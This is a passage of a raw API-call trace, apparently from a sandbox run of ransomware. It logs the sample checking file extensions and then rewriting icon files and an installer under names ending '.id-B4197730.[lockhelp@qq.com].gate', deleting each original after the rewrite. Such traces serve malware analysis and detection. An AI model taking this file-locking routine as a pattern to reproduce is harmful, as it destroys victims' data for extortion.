lpString2=".ico") returned 1 [0112.486] lstrlenW (lpString=".bz2") returned 4 [0112.486] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0112.486] lstrlenW (lpString=".7z") returned 3 [0112.486] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0112.486] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0112.486] lstrlenW (lpString=".dbf") returned 4 [0112.486] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0112.486] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0112.486] lstrlenW (lpString=".1cd") returned 4 [0112.486] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0112.486] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0112.486] lstrlenW (lpString=".jpg") returned 4 [0112.486] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0112.486] lstrcmpiW (lpString1=".ico", lpString2=".gate") returned 1 [0112.486] lstrlenW (lpString="Save.ico") returned 8 [0112.486] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0112.488] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=1150) returned 1 [0112.488] CloseHandle (hObject=0x350) returned 1 [0112.488] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico")) returned 0x80 [0112.488] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0112.489] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0112.489] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0112.489] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0112.489] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0112.491] GetLastError () returned 0x0 [0112.491] ReadFile (in: hFile=0x354, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x2fefecc*=0x47e, lpOverlapped=0x0) returned 1 [0113.076] WriteFile (in: hFile=0x314, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x2fefc94*=0x480, lpOverlapped=0x0) returned 1 [0113.079] ReadFile (in: hFile=0x354, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0113.079] WriteFile (in: hFile=0x314, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x2fefc94*=0xe4, lpOverlapped=0x0) returned 1 [0113.079] SetEndOfFile (hFile=0x314) returned 1 [0113.079] CloseHandle (hObject=0x314) returned 1 [0113.080] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0113.080] SetEndOfFile (hFile=0x354) returned 1 [0113.081] CloseHandle (hObject=0x354) returned 1 [0113.081] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0113.081] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico")) returned 1 [0113.081] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0113.082] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0113.082] lstrlenW (lpString=".doc") returned 4 [0113.082] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0113.082] lstrlenW (lpString=".docx") returned 5 [0113.082] lstrcmpiW (lpString1=".docx", lpString2="e.ico") returned -1 [0113.082] lstrlenW (lpString=".pdf") returned 4 [0113.082] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0113.082] lstrlenW (lpString=".xls") returned 4 [0113.082] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0113.082] lstrlenW (lpString=".xlsx") returned 5 [0113.082] lstrcmpiW (lpString1=".xlsx", lpString2="e.ico") returned -1 [0113.082] lstrlenW (lpString=".ppt") returned 4 [0113.082] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0113.082] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0113.082] lstrlenW (lpString=".zip") returned 4 [0113.082] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0113.082] lstrlenW (lpString=".rar") returned 4 [0113.082] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0113.082] lstrlenW (lpString=".bz2") returned 4 [0113.082] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0113.082] lstrlenW (lpString=".7z") returned 3 [0113.082] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0113.082] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0113.082] lstrlenW (lpString=".dbf") returned 4 [0113.082] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0113.082] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0113.083] lstrlenW (lpString=".1cd") returned 4 [0113.083] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0113.083] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0113.083] lstrlenW (lpString=".jpg") returned 4 [0113.083] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0113.083] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0113.083] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0113.083] lstrlenW (lpString=".doc") returned 4 [0113.083] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0113.083] lstrlenW (lpString=".docx") returned 5 [0113.083] lstrcmpiW (lpString1=".docx", lpString2="e.ico") returned -1 [0113.083] lstrlenW (lpString=".pdf") returned 4 [0113.083] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0113.083] lstrlenW (lpString=".xls") returned 4 [0113.083] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0113.083] lstrlenW (lpString=".xlsx") returned 5 [0113.083] lstrcmpiW (lpString1=".xlsx", lpString2="e.ico") returned -1 [0113.083] lstrlenW (lpString=".ppt") returned 4 [0113.083] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0113.083] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0113.083] lstrlenW (lpString=".zip") returned 4 [0113.083] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0113.083] lstrlenW (lpString=".rar") returned 4 [0113.083] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0113.083] lstrlenW (lpString=".bz2") returned 4 [0113.083] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0113.084] lstrlenW (lpString=".7z") returned 3 [0113.084] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0113.084] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0113.084] lstrlenW (lpString=".dbf") returned 4 [0113.084] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0113.084] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0113.084] lstrlenW (lpString=".1cd") returned 4 [0113.084] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0113.084] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0113.084] lstrlenW (lpString=".jpg") returned 4 [0113.084] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0113.084] lstrcmpiW (lpString1=".ico", lpString2=".gate") returned 1 [0113.084] lstrlenW (lpString="SysReqMet.ico") returned 13 [0113.084] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0113.084] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=1150) returned 1 [0113.084] CloseHandle (hObject=0x354) returned 1 [0113.084] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico")) returned 0x80 [0113.085] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0113.085] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0113.085] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0113.085] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0113.085] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0113.085] GetLastError () returned 0x0 [0113.085] ReadFile (in: hFile=0x354, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x2fefecc*=0x47e, lpOverlapped=0x0) returned 1 [0113.120] WriteFile (in: hFile=0x314, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x2fefc94*=0x480, lpOverlapped=0x0) returned 1 [0113.121] ReadFile (in: hFile=0x354, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0113.121] WriteFile (in: hFile=0x314, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x2fefc94*=0xee, lpOverlapped=0x0) returned 1 [0113.121] SetEndOfFile (hFile=0x314) returned 1 [0113.121] CloseHandle (hObject=0x314) returned 1 [0113.122] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0113.122] SetEndOfFile (hFile=0x354) returned 1 [0113.122] CloseHandle (hObject=0x354) returned 1 [0113.123] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0113.123] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico")) returned 1 [0113.123] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0113.123] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0113.123] lstrlenW (lpString=".doc") returned 4 [0113.123] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0113.123] lstrlenW (lpString=".docx") returned 5 [0113.123] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0113.123] lstrlenW (lpString=".pdf") returned 4 [0113.123] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0113.123] lstrlenW (lpString=".xls") returned 4 [0113.123] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0113.123] lstrlenW (lpString=".xlsx") returned 5 [0113.123] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0113.123] lstrlenW (lpString=".ppt") returned 4 [0113.123] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0113.124] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0113.124] lstrlenW (lpString=".zip") returned 4 [0113.124] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0113.124] lstrlenW (lpString=".rar") returned 4 [0113.124] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0113.124] lstrlenW (lpString=".bz2") returned 4 [0113.124] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0113.124] lstrlenW (lpString=".7z") returned 3 [0113.124] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0113.124] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0113.124] lstrlenW (lpString=".dbf") returned 4 [0113.124] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0113.124] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0113.124] lstrlenW (lpString=".1cd") returned 4 [0113.124] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0113.124] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0113.124] lstrlenW (lpString=".jpg") returned 4 [0113.124] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0113.124] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0113.124] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0113.124] lstrlenW (lpString=".doc") returned 4 [0113.124] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0113.124] lstrlenW (lpString=".docx") returned 5 [0113.124] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0113.124] lstrlenW (lpString=".pdf") returned 4 [0113.124] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0113.124] lstrlenW (lpString=".xls") returned 4 [0113.124] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0113.125] lstrlenW (lpString=".xlsx") returned 5 [0113.125] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0113.125] lstrlenW (lpString=".ppt") returned 4 [0113.125] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0113.125] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0113.125] lstrlenW (lpString=".zip") returned 4 [0113.125] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0113.125] lstrlenW (lpString=".rar") returned 4 [0113.125] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0113.125] lstrlenW (lpString=".bz2") returned 4 [0113.125] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0113.125] lstrlenW (lpString=".7z") returned 3 [0113.125] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0113.125] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0113.125] lstrlenW (lpString=".dbf") returned 4 [0113.125] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0113.125] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0113.125] lstrlenW (lpString=".1cd") returned 4 [0113.125] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0113.125] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0113.125] lstrlenW (lpString=".jpg") returned 4 [0113.125] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0113.125] lstrcmpiW (lpString1=".ico", lpString2=".gate") returned 1 [0113.125] lstrlenW (lpString="warn.ico") returned 8 [0113.125] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0113.126] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=10134) returned 1 [0113.126] CloseHandle (hObject=0x354) returned 1 [0113.126] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico")) returned 0x80 [0113.126] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0113.126] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0113.126] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0113.126] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0113.126] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0113.127] GetLastError () returned 0x0 [0113.127] ReadFile (in: hFile=0x354, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x2fefecc*=0x2796, lpOverlapped=0x0) returned 1 [0113.166] WriteFile (in: hFile=0x314, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x27a0, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x2fefc94*=0x27a0, lpOverlapped=0x0) returned 1 [0113.168] ReadFile (in: hFile=0x354, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0113.168] WriteFile (in: hFile=0x314, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x2fefc94*=0xe4, lpOverlapped=0x0) returned 1 [0113.168] SetEndOfFile (hFile=0x314) returned 1 [0113.168] CloseHandle (hObject=0x314) returned 1 [0113.169] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0113.169] SetEndOfFile (hFile=0x354) returned 1 [0113.169] CloseHandle (hObject=0x354) returned 1 [0113.170] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0113.170] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico")) returned 1 [0113.170] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0113.170] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0113.170] lstrlenW (lpString=".doc") returned 4 [0113.170] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0113.170] lstrlenW (lpString=".docx") returned 5 [0113.170] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1 [0113.170] lstrlenW (lpString=".pdf") returned 4 [0113.170] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0113.170] lstrlenW (lpString=".xls") returned 4 [0113.170] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0113.170] lstrlenW (lpString=".xlsx") returned 5 [0113.170] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1 [0113.170] lstrlenW (lpString=".ppt") returned 4 [0113.170] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0113.170] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0113.170] lstrlenW (lpString=".zip") returned 4 [0113.170] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0113.171] lstrlenW (lpString=".rar") returned 4 [0113.171] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0113.171] lstrlenW (lpString=".bz2") returned 4 [0113.171] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0113.171] lstrlenW (lpString=".7z") returned 3 [0113.171] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0113.171] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0113.171] lstrlenW (lpString=".dbf") returned 4 [0113.171] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0113.171] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0113.171] lstrlenW (lpString=".1cd") returned 4 [0113.171] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0113.171] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0113.171] lstrlenW (lpString=".jpg") returned 4 [0113.171] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0113.171] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0113.171] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0113.171] lstrlenW (lpString=".doc") returned 4 [0113.171] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0113.171] lstrlenW (lpString=".docx") returned 5 [0113.171] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1 [0113.171] lstrlenW (lpString=".pdf") returned 4 [0113.171] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0113.171] lstrlenW (lpString=".xls") returned 4 [0113.171] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0113.171] lstrlenW (lpString=".xlsx") returned 5 [0113.171] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1 [0113.172] lstrlenW (lpString=".ppt") returned 4 [0113.172] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0113.172] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0113.172] lstrlenW (lpString=".zip") returned 4 [0113.172] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0113.172] lstrlenW (lpString=".rar") returned 4 [0113.172] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0113.172] lstrlenW (lpString=".bz2") returned 4 [0113.172] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0113.172] lstrlenW (lpString=".7z") returned 3 [0113.172] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0113.172] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0113.172] lstrlenW (lpString=".dbf") returned 4 [0113.172] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0113.172] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0113.172] lstrlenW (lpString=".1cd") returned 4 [0113.172] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0113.172] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0113.172] lstrlenW (lpString=".jpg") returned 4 [0113.172] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0113.172] lstrcmpiW (lpString1=".msi", lpString2=".gate") returned 1 [0113.173] lstrlenW (lpString="netfx_Core_x64.msi") returned 18 [0113.173] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0113.241] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=1901056) returned 1 [0113.241] CloseHandle (hObject=0x340) returned 1 [0113.241] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi")) returned 0x80 [0113.241] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0113.243] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id-b4197730.[lockhelp@qq.com].gate")) returned 1 [0113.244] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0113.244] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefc64 | out: lpNewFilePointer=0x0) returned 1 